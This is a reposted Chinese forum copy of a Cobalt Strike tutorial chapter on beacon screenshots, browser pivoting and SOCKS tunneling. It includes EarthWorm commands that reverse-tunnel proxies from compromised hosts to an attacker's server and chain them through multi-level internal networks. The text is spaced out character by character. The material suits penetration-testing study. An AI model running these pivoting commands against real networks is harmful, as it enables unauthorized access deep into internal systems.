搜索

[19563] 2019-12-17_CobaltStrike系列教程第五章：截图与浏览器代理

文档创建者：s7ckTeam
浏览次数：21
最后更新：2025-01-18
2019-12-17_CobaltStrike系列教程第五章：截图与浏览器代理 C o b a l t   S t r i k e 系 列 教 程 第 五 章 ： 截 图 与 浏 览 器 代 理 i 春 秋   2 0 1 9 - 1 2 - 1 7 C o b a l t   S t r i k e 系 列 教 程 分 享 如 约 而 至 ， 新 关 注 的 小 伙 伴 可 以 先 回 顾 一 下 前 面 的 内 容 ： C o b a l t   S t r i k e 系 列 教 程 第 一 章 ： 简 介 与 安 装 C o b a l t   S t r i k e 系 列 教 程 第 二 章 ： B e a c o n 详 解 C o b a l t   S t r i k e 系 列 教 程 第 三 章 ： 菜 单 栏 与 视 图 C o b a l t   S t r i k e 系 列 教 程 第 四 章 ： 进 程 管 理 今 天 我 们 将 继 续 分 享 C o b a l t   S t r i k e 系 列 教 程 的 其 他 章 节 内 容 ， 希 望 对 大 家 的 学 习 有 所 帮 助 ， 快 速 提 升 实 用 技 能 。
截 图 与 浏 览 器 截 图 与 浏 览 器 代 理 代 理 截 图 截 图 选 择 一 个 b e a c o n ， 右 键 ， 目 标 - - > 屏 幕 截 图 ： 然 后 点 击 菜 单 栏 上 的 “ 屏 幕 截 图 ” 按 钮 ， 如 图 ， 成 功 查 看 到 截 图 ： 浏 览 器 代 理 浏 览 器 代 理 选 择 一 个 b e a c o n ， 右 键 ， 目 标 - - > 浏 览 器 代 理
配 置 好 相 关 的 端 口 信 息 后 ， 点 击 开 始 ， 即 可 使 用 目 标 机 的 指 定 端 口 作 为 浏 览 器 代 理 。 随 后 c o b a l t s t r i k e 就 会 注 入 浏 览 器 代 理 d l l 到 进 程 中 ， 我 们 通 过 配 置 我 们 服 务 器 的 I P ， 端 口 （ 本 例 中 为 1 2 3 . 2 0 7 . x / x ） ， 即 可 使 用 目 标 机 作 为 浏 览 器 代 理 。 内 置 内 置 S o c k s 与 神 器 与 神 器 E W S o c k s 概 念 概 念 目 前 利 用 网 络 防 火 墙 将 组 织 内 部 的 网 络 结 构 与 外 部 网 络 如   I N T E R N E T   中 有 效 地 隔 离 开 来 ， 这 种 方 法 正 变 得 逐 渐 流 行 起 来 。 这 些 防 火 墙 系 统 通 常 以 应 用 层 网 关 的 形 式 工 作 在 网 络 之 间 ， 提 供 受 控 的   T E L N E T   、   F T P   、   S M T P   等 的 接 入 。 S O C K S   提 供
一 个 通 用 框 架 来 使 这 些 协 议 安 全 透 明 地 穿 过 防 火 墙 。 说 的 简 单 明 了 一 点 ， 在 渗 透 测 试 中 ， 我 们 使 用 s o c k s 技 术 ， 可 以 穿 透 进 入 目 标 机 的 内 网 ， 从 而 扩 大 我 们 的 战 果 。 C o b a l t s t r i k e 自 带 自 带 S o c k s 功 能 功 能 选 择 一 个 b e a c o n ， 右 键 ， 中 转 - - > S O C K S   S e r v e r ， 或 使 用 命 令 s o c k s   [ p o r t ] 弹 出 一 个 窗 口 ， 按 要 求 配 置 好 代 理 端 口 。
如 图 ， 成 功 开 启 s o c k s   4 ， 连 接 我 们 t e a m s e r v e r 的 5 1 2 6 端 口 ， 即 可 进 入 目 标 机 内 网 。 使 用 使 用 e w + S o c k s C a p 穿 透 到 目 标 机 内 网 穿 透 到 目 标 机 内 网 E a r t h w o r m E w ( E a r t h w o r m ) 是 一 款 当 之 无 愧 的 内 网 穿 透 大 杀 器 ， 应 用 的 平 台 非 常 广 泛 ， 包 括 ： 下 面 简 单 讲 一 下 它 的 应 用 场 景 和 命 令 ： 1 、 正 向 、 正 向 s o c k s   v 5 服 务 器 服 务 器       【 适 用 于 目 标 机 拥 有 一 个 外 网 【 适 用 于 目 标 机 拥 有 一 个 外 网 I P 】 】 服 务 器 端 执 行 以 下 命 令 ： e w . e x e   - s   s s o c k s d   - l   8 8 8 说 明 ： 服 务 器 开 启 端 口 为 8 8 8 ， S O C K S 的 代 理 。 然 后 使 用 s o c k s c a p 6 4 添 加 这 个 I P 的 代 理 就 可 以 使 用 了 。 2 、 反 弹 、 反 弹 s o c k s   v 5 服 务 器 服 务 器       【 适 用 于 目 标 机 器 没 有 公 网 【 适 用 于 目 标 机 器 没 有 公 网 I P ， 但 可 访 问 内 网 资 源 】 ， 但 可 访 问 内 网 资 源 】 本 地 执 行 以 下 命 令 ： e w . e x e   - s   r c s o c k s   - l   1 0 0 8   - e   8 8 8 说 明 ： 该 命 令 的 意 思 是 在 我 们 公 网 V P S 上 添 加 一 个 转 接 隧 道 ， 把 1 0 8 0 端 口 收 到 的 代 理 请 求 转 交 给 8 8 8 端 口 。 服 务 器 端 执 行 以 下 命 令 ： e w . e x e   - s   r s s o c k s   - d   2 . 2 . 2 . 2   - e   8 8 8 说 明 ： 该 命 令 的 意 思 是 在 服 务 器 上 启 动 S O C K S   V 5 服 务 ， 并 反 弹 到 I P 地 址 为 2 . 2 . 2 . 2 的 服 务 器 8 8 8 端 口 上 。 e w _ f o r _ W i n . e x e                 适 用 各 种 W i n d o w s 系 统 ( X 8 6 指 令 集 、 X 6 4 指 令 集 )                 W i n d o w s 7 、 W i n d o w s   X P e w _ f o r _ L i n u x 3 2                 各 常 见 L i n u x 发 行 版   ( X 8 6   指 令 集   C P U )                 U b u n t u ( X 8 6 ) / B T 5 ( X 8 6 ) e w _ f o r _ l i n u x 6 4                 各 常 见 L i n u x 发 行 版   ( X 6 4   指 令 集   C P U )                 U b u n t u ( X 6 4 ) / K a l i ( X 6 4 ) e w _ f o r _ M a c O S X 6 4                 M a c O S 系 统 发 行 版   ( X 6 4   指 令 集 )                 苹 果 P C 电 脑 ， 苹 果 s e r v e r e w _ f o r _ A r m 3 2                 常 见 A r m - L i n u x 系 统                 H T C   N e w   O n e ( A r m - A n d r o i d ) / 小 米 路 由 器 ( R 1 D ) e w _ m i p s e l                 常 见 M i p s - L i n u x 系 统   ( M i p s e l 指 令 集   C P U )                 萤 石 硬 盘 录 像 机 、 小 米 m i n i 路 由 器 ( R 1 C M )
3 、 二 级 网 络 环 境 （ 一 ） 、 二 级 网 络 环 境 （ 一 ） 假 设 我 们 获 得 了 右 侧 A 主 机 和 B 主 机 的 控 制 权 ： A 主 机 配 有 2 块 网 卡 ， 一 块 连 通 外 网 ， 一 块 1 0 . 4 8 . 1 2 8 . 2 5 只 能 连 接 内 网 B 主 机 ， 无 法 访 问 内 网 其 它 资 源 。 B 主 机 可 以 访 问 内 网 资 源 ， 但 无 法 访 问 外 网 。 A . 先 上 传 e w 到 B 主 机 ， 利 用 s s o c k s d 方 式 启 动 8 8 8 端 口 的 S O C K S 代 理 ， 命 令 如 下 ： e w   - s   s s o c k s d   - l   8 8 8 B . 上 传 e w 到 右 侧 A 主 机 ， 运 行 下 列 命 令 ： e w   - s   l c x _ t r a n   - l   1 0 8 0   - f   1 0 . 4 8 . 1 2 8 . 4 9   - g   8 8 8 说 明 ： 该 命 令 意 思 是 将 1 0 8 0 端 口 收 到 的 代 理 请 求 转 交 给 B 主 机 （ 1 0 . 4 8 . 1 2 8 . 4 9 ） 的 8 8 8 端 口 。 C . 可 以 通 过 访 问 A 主 机 外 网 1 3 9 . X X X . X X . 1 1 3 : 1 0 8 0 来 使 用 在 B 主 机 架 设 的 s o c k s 5 代 理 。 4 、 网 络 环 境 （ 二 ） 、 网 络 环 境 （ 二 ） 假 设 我 们 获 得 了 右 侧 A 主 机 和 B 主 机 的 控 制 权 限 ： A 主 机 没 有 公 网 I P ， 也 无 法 访 问 内 网 资 源 。 B 主 机 可 以 访 问 内 网 资 源 ， 但 无 法 访 问 外 网 。 这 个 操 作 分 为 4 步 ， 用 到 l c x _ l i s t e n 和 l c x _ s l a v e 命 令 ： A .   先 上 传 e w   到 左 侧 公 网 V P S 上 ， 运 行 下 列 命 令 ： e w   – s   l c x _ l i s t e n   – l   1 0 8 0 0   – e   8 8 8 说 明 ： 该 命 令 意 思 是 在 公 网 V P S 添 加 转 接 隧 道 ， 将 1 0 8 0 0 端 口 收 到 的 代 理 请 求 转 交 给 8 8 8 端 口 。 B . 上 传 e w 到 B 主 机 ， 并 利 用 s s o c k s d 方 式 启 动 9 9 9 端 口 的 s o c k s 代 理 ， 命 令 如 下 ： e w   - s   s s o c k s d   - l   9 9 9 C . 上 传 e w   到 A 主 机 ， 运 行 下 列 命 令 ： e w   - s   l c x _ s l a v e   - d   1 3 9 . X X X . X X . 1 1 3   - e   8 8 8   - f   1 0 . 4 8 . 1 2 8 . 4 9   - g   9 9 9 说 明 ： 该 命 令 意 思 是 在 A 主 机 上 利 用 l c x _ s l a v e 方 式 ， 将 公 网 V P S 的 8 8 8 端 口 和 B 主 机 的 9 9 9 端 口 连 接 起 来 。
D .   返 回 我 们 公 网 V P S 的 C M D 界 面 下 ， 可 以 看 到 已 经 连 接 成 功 了 。 现 在 就 可 以 通 过 访 问 公 网 V P S 地 址   1 3 9 . X X X . X X . 1 1 3 : 1 0 8 0 0 来 使 用 在 B 主 机 架 设 的 s o c k s 5 代 理 。 5 、 三 级 网 络 环 境 、 三 级 网 络 环 境 三 级 网 络 环 境 在 实 际 渗 透 中 用 的 比 较 少 ， 也 比 较 复 杂 ， 现 在 我 们 来 一 个 个 的 讲 解 下 三 级 级 联 的 用 法 。 假 设 渗 透 场 景 ： 内 网 A 主 机 没 有 公 网 I P 但 可 以 访 问 外 网 B 主 机 不 能 访 问 外 网 但 可 以 被 A 主 机 访 问 、 C 主 机 可 被 B 主 机 访 问 而 且 能 够 访 问 核 心 区 域 。 A . 在 左 侧 公 网 V P S 上 运 行 命 令 ， 将 1 0 8 0 端 口 收 到 的 代 理 请 求 转 交 给 8 8 8 端 口 ： e w   - s   r c s o c k s   - l   1 0 8 0   - e   8 8 8 B . 在 A 主 机 上 运 行 命 令 ， 将 公 网 V P S 的 8 8 8 端 口 和 B 主 机 的 9 9 9 端 口 连 接 起 来 ： e w   - s   l c x _ s l a v e   - d   1 3 9 . X X X . X X . 1 1 3   - e   8 8 8   - f   1 0 . 4 8 . 1 2 8 . 1 2   - g   9 9 9 C . 在 B 主 机 上 运 行 命 令 ， 将 9 9 9 端 口 收 到 的 代 理 请 求 转 交 给 7 7 7 端 口 ： e w   - s   l c x _ l i s t e n   - l   9 9 9   - e   7 7 7 D . 在 C 主 机 上 启 动 S O C K S   V 5 服 务 ， 并 反 弹 到 B 主 机 的 7 7 7 端 口 上 ， 命 令 如 下 。 e w   - s   r s s o c k s   - d   1 0 . 4 8 . 1 2 8 . 1 2   - e   7 7 7 E . 在 M Y   P C 上 可 以 通 过 访 问 公 网 V P S   1 3 9 . X X X . X X . 1 1 3 : 1 0 8 0 来 使 用 在 C 主 机 架 设 的 s o c k s 5 代 理 。 整 个 数 据 流 向 是 ： S O C K S   V 5   →   1 0 8 0   →   8 8 8   → 9 9 9   → 7 7 7   →   r s s o c k s 6 、 实 战 场 景 、 实 战 场 景 本 次 测 试 目 标 机 器 没 有 公 网 I P ， 但 可 访 问 内 网 资 源 。 ① 我 们 在 t e a m s e r v e r 上 运 行 以 下 命 令 e w . e x e   - s   r c s o c k s   - l   1 0 0 8   - e   8 8 8 接 受 8 8 8 端 口 数 据 ， 然 后 转 发 到 1 0 0 8 端 口 ：
② 然 后 我 们 在 目 标 机 上 传 e w ， 然 后 在 c s 中 执 行 ： e w . e x e   - s   r s s o c k s   - d   2 . 2 . 2 . 2   - e   8 8 8 （ 2 . 2 . 2 . 2 为 t e a m s e r v e r ） ③ 随 后 ， 我 们 的 t e a m s e r v e r 就 会 显 示 连 接 成 功 ： 使 用 使 用 S o c k s C a p 连 接 连 接 s o c k s 根 据 自 己 的 W i n d o w s 版 本 以 管 理 员 模 式 运 行 S o c k s C a p 后 ， 点 击 代 理 ， 添 加 自 己 t e a m s e r v e r 的 i p 和 刚 刚 转 发 出 来 的 端 口 。
在 这 里 把 代 理 切 换 成 刚 刚 添 加 的 ： 右 键 ， 添 加 一 个 e x e 文 件 ， 根 据 你 的 需 求 ， 添 加 要 在 s o c k s 隧 道 中 运 行 的 程 序 。
选 择 程 序 ， 右 键 - - > 在 代 理 隧 道 中 运 行 选 中 程 序 ， 该 程 序 即 可 通 过 s o c k s 进 入 目 标 内 网 。 如 图 ， 为 连 入 s o c k s 通 道 的 c m d   p i n g 目 标 机 的 某 内 网 i p 。 在 在 K a l i 中 中 M e t a s p l o i t 使 用 使 用 s o c k s 通 道 通 道 使 用 c s 搭 建 好 s o c k s 4 通 道 后 ， 首 先 配 置 神 器 p r o x y c h a i n s 。 在 / e t c / p r o x y c h a i n s . c o n f 配 置 文 件 中 添 加 新 的 代 理 服 务 器 。 通 过 激 活 动 态 链 设 置 ， 确 保 在 不 同 的 代 理 服 务 器 之 间 能 够 正 常 切 换 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理